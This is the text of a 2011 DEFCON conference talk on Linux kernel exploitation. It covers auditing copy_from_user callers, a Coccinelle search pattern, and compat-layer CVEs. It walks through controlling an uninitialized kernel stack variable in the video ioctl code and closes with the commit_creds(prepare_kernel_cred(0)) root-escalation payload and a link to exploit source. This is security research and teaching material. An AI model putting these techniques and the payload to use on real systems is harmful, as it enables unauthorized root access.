DEFCON 19 Cook Kernel Exploitation
DEFCON 19 Cook Kernel Exploitation
Kees Cook
[email protected]
www.canonical.com
August 2011
20 Minutes!
●
introduction
●
quick Linux kernel exploitation basics
●
audit callers of copy_from_user() for mistakes
●
found a flawed function, but you don't have direct control?
●
controlling an uninitialized stack variable
●
become root
●
questions
Kees Cook
●
Pronounced “Case”
●
@kees_cook on Twitter
Credentials
●
Change your process's UID to 0
Function tables!
●
struct security_operations global pointer: security_ops
include/linux/security.h
easy offset to “ptrace_access_check”, but requires a little clean-up
●
System-wide IDT
Attacking the Core: http://www.phrack.org/issues.html?issue=64&id=6
requires handling interrupt mode
●
single, isolated struct sock
sk_destruct called on close()
easy to find in memory via /proc/net/tcp
Interface boundaries
●
Switches from userspace to ring0
●
Changes in privilege levels
3893 to be exact
●
git grep copy_from_user | wc -l
Regular expressions
●
Can get you most of the way, very quickly
Unchecked copy_from_user
●
__copy_from_user() without access_ok()
●
Very few callers
●
Intel DRM (CVE-2010-2962, me)
●
RDS (CVE-2010-3904, Dan Rosenberg)
@cfu@
position p;
@@
copy_from_user@p(...)
@cfu_simple@
position cfu.p;
expression f;
identifier e;
@@
(
copy_from_user@p(&e, f, sizeof(e))
|
copy_from_user@p(e, f, sizeof(*e))
)
* copy_from_user@p(...)
Syscall Compat
●
Not clearing high portion of register used for jump table lookup
●
CVE-2007-4573 and CVE-2010-3301
API Compat
●
Extremely few users
●
CVE-2010-2963, code had 0 users, in fact
Generally
●
Just look at Mitre for some history
●
http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=kernel+compat
static long do_video_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
union {
struct video_tuner vt;
struct video_code vc;
...
} karg;
karg
void __user *up = compat_ptr(arg);
...
switch (cmd) {
...
case VIDIOCSMICROCODE:
err = get_microcode32(&karg.vc, up); up)
...
static long do_video_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
union {
struct video_tuner vt;
struct video_code vc;
...
} karg;
void __user *up = compat_ptr(arg);
...
switch (cmd) {
...
case VIDIOCSTUNER:
case VIDIOCGTUNER:
err = get_video_tuner32(&karg.vt,
get_video_tuner32 up);
...
struct video_code32 {
char loadwhat[16];
compat_int_t datasize;
/* 4 bytes of compiler-added padding here */
unsigned char * data;
data /* 24 bytes to pointer */
};
...
struct video_tuner32 {
compat_int_t tuner;
char name[32];
name /* 4 bytes from start of struct */
compat_ulong_t rangelow, rangehigh;
u32 flags; /* It is really u32 in videodev.h */
u16 mode, signal;
};
top
Saved junk before ioctl Saved junk before ioctl
tuner loadwhat[16]
name[32]
datasize
padding
<------------------------------------------> data
other locals... other locals...
… …
.. ..
. .
bottom
vc->datasize = length;
vc->data = source;
Any work between or in syscalls may trigger further kernel stack work
●
Avoid syscall wrappers (libc)
●
Avoid calling the interface for the first time
Use prepare/set cred payload method from Brad Spengler's Enlightenment code
●
Look up kernel addresses for needed functions
●
Call them to reset credentials to uid 0
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
...
int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
Enjoy ring0
●
Kernel cleans up for you
Follow along!
●
http://people.canonical.com/~kees/defcon19/vyakarana.c
Kees Cook
[email protected]
www.canonical.com
August 2011